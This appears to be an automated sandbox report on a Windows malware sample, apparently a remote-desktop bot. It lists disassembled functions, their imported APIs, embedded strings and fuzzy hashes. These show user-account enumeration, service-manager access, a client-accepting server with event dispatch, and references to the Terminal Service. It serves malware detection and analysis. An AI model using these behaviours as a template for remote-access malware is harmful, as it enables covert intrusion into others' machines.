Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: (key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-2022313065
Opcode ID: 352408240713be7a7cb69aa9724280b692f81e1d013cd9d5b02acbcca2736477
Instruction ID: 16fca1961dd5dd73354f34e18ce201fec5fabc6531d0c0aa31e7106c60f0f4d5
Opcode Fuzzy Hash: 352408240713be7a7cb69aa9724280b692f81e1d013cd9d5b02acbcca2736477
Instruction Fuzzy Hash: 71A15E60D0C70B81F630974CB941B7962B1AF38748F540033FB4ED6AB5EEADA9A5D702

Function 00007FF8BFB363CB Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 134memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB364B6
HeapAlloc.KERNEL32 ref: 00007FF8BFB364CA
CreateThread.KERNEL32 ref: 00007FF8BFB3650C
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB36526
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB3654D

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB3657C
[I] (%s) -> Server ready(ssock=0x%llx), xrefs: 00007FF8BFB363FD
[I] (%s) -> Client accepted(client=0x%llx), xrefs: 00007FF8BFB3655E
[E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu), xrefs: 00007FF8BFB365B4
mem_alloc, xrefs: 00007FF8BFB36575
routine_accept, xrefs: 00007FF8BFB363F6, 00007FF8BFB36557, 00007FF8BFB365AD

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocCreateEnterLeaveProcessThread
String ID: [E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Client accepted(client=0x%llx)$[I] (%s) -> Server ready(ssock=0x%llx)$mem_alloc$routine_accept
API String ID: 3282357527-375624272
Opcode ID: e3d8a866335234c7172628d04091ce46b344c8073fa7ebe3eec0b8b2a0812a7e
Instruction ID: c5913ead947c704b038ce8be45d1e6854d2b467306ee1a62ee91f893d32f88dc
Opcode Fuzzy Hash: e3d8a866335234c7172628d04091ce46b344c8073fa7ebe3eec0b8b2a0812a7e
Instruction Fuzzy Hash: 5E514C20E8860381FA149B9DE9117B963A2AF41BF4F154339DB3E47BD6DE3CE4459311

Function 00007FF8B9153C65 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

D, xrefs: 00007FF8B9153915
mem_alloc, xrefs: 00007FF8B9153D6F
users_sync, xrefs: 00007FF8B91539A0
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: ea011fd3911eba31b5ed846103687ee14d0c618340a10d4a4ea74dd2289fbe6d
Instruction ID: 3a0847368ca690a1cbb1cebd95ad61e1a1bf52fa469016e148e31c5da22fb28e
Opcode Fuzzy Hash: ea011fd3911eba31b5ed846103687ee14d0c618340a10d4a4ea74dd2289fbe6d
Instruction Fuzzy Hash: 91513AB6A08B82C6EB51CF29E45436977A1FB89B88F414136DB4D93398DF3CE849D700

Function 00007FF8B9153C6C Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

D, xrefs: 00007FF8B9153915
mem_alloc, xrefs: 00007FF8B9153D6F
users_sync, xrefs: 00007FF8B91539A0
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 094797508034af9aeb41acd87ce8deab58e064fb6417c2c767a88e0e44c012d1
Instruction ID: 79bdf4cb8667eeb3b6299c793f2a5ee148412940fac0a96798b0615e700eaa36
Opcode Fuzzy Hash: 094797508034af9aeb41acd87ce8deab58e064fb6417c2c767a88e0e44c012d1
Instruction Fuzzy Hash: EF513AB6A08B82C6EB50CF29E45436977A1FB89B88F414136DB4D93398DF3CE849D700

Function 00007FF8B9153C73 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

D, xrefs: 00007FF8B9153915
mem_alloc, xrefs: 00007FF8B9153D6F
users_sync, xrefs: 00007FF8B91539A0
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 49a18e276fb8c6a2b4951d3360f840af0e0b91061dc9137376a5f74894fb3ec4
Instruction ID: 41532de57c3a43ad13ea21e72bebefd2e5ccda475562b428649cad0a4ac4abe3
Opcode Fuzzy Hash: 49a18e276fb8c6a2b4951d3360f840af0e0b91061dc9137376a5f74894fb3ec4
Instruction Fuzzy Hash: 71513AB6A08B82C6EB50CF29E45436977A1FB89B88F414136DB4D93798DF3CE849D700

Function 00007FF8B9153C88 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
wcslen.MSVCRT ref: 00007FF8B9153D0B
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D1B
HeapAlloc.KERNEL32 ref: 00007FF8B9153D2C
GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59
NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

D, xrefs: 00007FF8B9153915
mem_alloc, xrefs: 00007FF8B9153D6F
users_sync, xrefs: 00007FF8B91539A0
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9153D76

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 5d1318e734e99b6aa77c2af95f36f6a0782a97f835af939cec4f9924c6791811
Instruction ID: 6653e074592b01f497bee35a026935ab8b2fe29c32cb863a5773a88799eea484
Opcode Fuzzy Hash: 5d1318e734e99b6aa77c2af95f36f6a0782a97f835af939cec4f9924c6791811
Instruction Fuzzy Hash: 80513BB6A08B82C6EB50CF19E45436977A1FB89B88F414136DB4D93358DF3CE849D700

Function 00007FF8B91849BF Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B91849D0
OpenSCManagerA.ADVAPI32 ref: 00007FF8B91849FA
GetLastError.KERNEL32 ref: 00007FF8B9184A42
GetLastError.KERNEL32 ref: 00007FF8B9184B1A

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

ServicesActive, xrefs: 00007FF8B91849EE
[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu), xrefs: 00007FF8B9184B2A
scm_init, xrefs: 00007FF8B9184A27, 00007FF8B9184A4D, 00007FF8B9184B23, 00007FF8B9184B51
, xrefs: 00007FF8B9184A60
~, xrefs: 00007FF8B9184AC0
P, xrefs: 00007FF8B9184AC9
Done, xrefs: 00007FF8B9184B4A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9184A2E
[I] (%s) -> %s, xrefs: 00007FF8B9184B58
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu), xrefs: 00007FF8B9184A54

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLast$CountCriticalInitializeManagerOpenSectionSpinfflushfwrite
String ID: $Done$P$ServicesActive$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu)$[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu)$[I] (%s) -> %s$scm_init$~
API String ID: 546114577-3142219161
Opcode ID: 3cdc24c023b89066df0a726aa4c710322b7b89a6d544cc8f507da3a1f5a289d7
Instruction ID: d1e2669f39e1dfac3790c993e58b57cdef4c05211904b549cc9ef3edb54e015d
Opcode Fuzzy Hash: 3cdc24c023b89066df0a726aa4c710322b7b89a6d544cc8f507da3a1f5a289d7
Instruction Fuzzy Hash: 1541EA10B0CAC3A2FB208F5CA8C03B812559F163D8F525032C75F6A2E2AE5DBD86B715

Function 00007FF8BFB361A0 Relevance: 24.1, APIs: 10, Strings: 6, Instructions: 104memorysleepCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB3626D
HeapFree.KERNEL32 ref: 00007FF8BFB3627E
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB362A2
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB362C5
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB36332
Sleep.KERNEL32 ref: 00007FF8BFB36351
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB36363
GetProcessHeap.KERNEL32 ref: 00007FF8BFB36398
HeapFree.KERNEL32 ref: 00007FF8BFB363A9
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB363B8

Strings

--TSCB--, xrefs: 00007FF8BFB361D4
[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFB3631F
, xrefs: 00007FF8BFB361B5
KCIT, xrefs: 00007FF8BFB361BD
-VRSTVE-, xrefs: 00007FF8BFB361C5
routine_tx, xrefs: 00007FF8BFB36318

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalSection$Heap$Enter$FreeLeaveProcess$Sleep
String ID: $--TSCB--$-VRSTVE-$KCIT$[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 610085118-1825955162
Opcode ID: 976fff96366d5551afc8c362ad483118ae7add20c4f03ef8fba7955228ba521d
Instruction ID: be53372d4aab48c2a8cd2ee85bd74ee9d1f1229680f1ee49bdfd9ee54e069830
Opcode Fuzzy Hash: 976fff96366d5551afc8c362ad483118ae7add20c4f03ef8fba7955228ba521d
Instruction Fuzzy Hash: 58513731A89B4382EB659B89EA50679B3A1EF84BC0F184139EB5E43B65DF3CE4459340

Function 00007FF6BE034688 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF6BE0346BC

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32 ref: 00007FF6BE03481B

Strings

fs_path_expand, xrefs: 00007FF6BE0346F0, 00007FF6BE034723, 00007FF6BE034756, 00007FF6BE034786, 00007FF6BE0347B6, 00007FF6BE0347E8, 00007FF6BE034829, 00007FF6BE034904
[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF6BE0347EF
(xpath != NULL), xrefs: 00007FF6BE03474F
(path != NULL), xrefs: 00007FF6BE03471C
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF6BE034830
((*xpath_sz) > 0), xrefs: 00007FF6BE0347AF
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF6BE03490B
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF6BE0346F7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE03472A, 00007FF6BE03475D, 00007FF6BE03478D, 00007FF6BE0347BD
(xpath_sz != NULL), xrefs: 00007FF6BE03477F
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE034715, 00007FF6BE034748, 00007FF6BE034778, 00007FF6BE0347A8

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2273971785
Opcode ID: fb69f4271079308d6a773b76607419c5d5bd62e2c2092df690b093a9c085742d
Instruction ID: ccb10189459f1b3c87149a3b83366f1392d2e0875374105a6c27fee70dfb0798
Opcode Fuzzy Hash: fb69f4271079308d6a773b76607419c5d5bd62e2c2092df690b093a9c085742d
Instruction Fuzzy Hash: 3E616D61E0C54785FA308B5CE940BB82272AFB9798F554133F74ECB694DE3CE9668301

Function 00007FF8B9186C3D Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 134stringtimeCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8B9186C9D
strlen.MSVCRT ref: 00007FF8B9186CBF
strlen.MSVCRT ref: 00007FF8B9186CD3
strlen.MSVCRT ref: 00007FF8B9186D49
strlen.MSVCRT ref: 00007FF8B9186D65
strlen.MSVCRT ref: 00007FF8B9186D76
CompareFileTime.KERNEL32 ref: 00007FF8B9186DD1

Strings

v32.ini, xrefs: 00007FF8B9186CE8
termsrv3, xrefs: 00007FF8B9186D7E
v32.ini, xrefs: 00007FF8B9186D8B
TermService, xrefs: 00007FF8B9186E20
termsrv3, xrefs: 00007FF8B9186CDB
%ProgramFiles%\RDP\, xrefs: 00007FF8B9186D2B

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strlen$CompareFileTime
String ID: %ProgramFiles%\RDP\$TermService$termsrv3$termsrv3$v32.ini$v32.ini
API String ID: 342285119-844192579
Opcode ID: 30368236fa65dfd26f33114051efb4c57a2f7cefb1022de13b1530c22006544d
Instruction ID: 5ec49a44ea275eaf98a0a2e00c77040399e4fb0a871c3d7812d6e86838ea2dd3
Opcode Fuzzy Hash: 30368236fa65dfd26f33114051efb4c57a2f7cefb1022de13b1530c22006544d
Instruction Fuzzy Hash: 8B519321B0C6C341FB219F2AA8D43BA5691AF857C4F464031EB9D4B7C7EE6DE905B740

Function 00007FF8BFB367C4 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 85memorysynchronizationCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB367FD
WaitForSingleObject.KERNEL32 ref: 00007FF8BFB3682C
GetProcessHeap.KERNEL32 ref: 00007FF8BFB36848
HeapFree.KERNEL32 ref: 00007FF8BFB36859
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB36870
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB368C8
WaitForSingleObject.KERNEL32 ref: 00007FF8BFB368F4
GetProcessHeap.KERNEL32 ref: 00007FF8BFB36910
HeapFree.KERNEL32 ref: 00007FF8BFB36921
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB36930

Strings

routine_gc, xrefs: 00007FF8BFB36810
[I] (%s) -> Client gone(client=0x%llx), xrefs: 00007FF8BFB36817

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalHeapSection$EnterFreeLeaveObjectProcessSingleWait
String ID: [I] (%s) -> Client gone(client=0x%llx)$routine_gc
API String ID: 4048354325-2700516951
Opcode ID: 4dff84fd8bfcbedcf79c475886653c1940979e13b65d628549cf3edeea3474e1
Instruction ID: e14571fee02a8e7e5012417e383ac2db11643fc1e2ea79cda766e505de351d57
Opcode Fuzzy Hash: 4dff84fd8bfcbedcf79c475886653c1940979e13b65d628549cf3edeea3474e1
Instruction Fuzzy Hash: 65410C25E89A0782FF549FA9D96067463A1AF48BE4F184639DF2D463E5DE3CE4448310

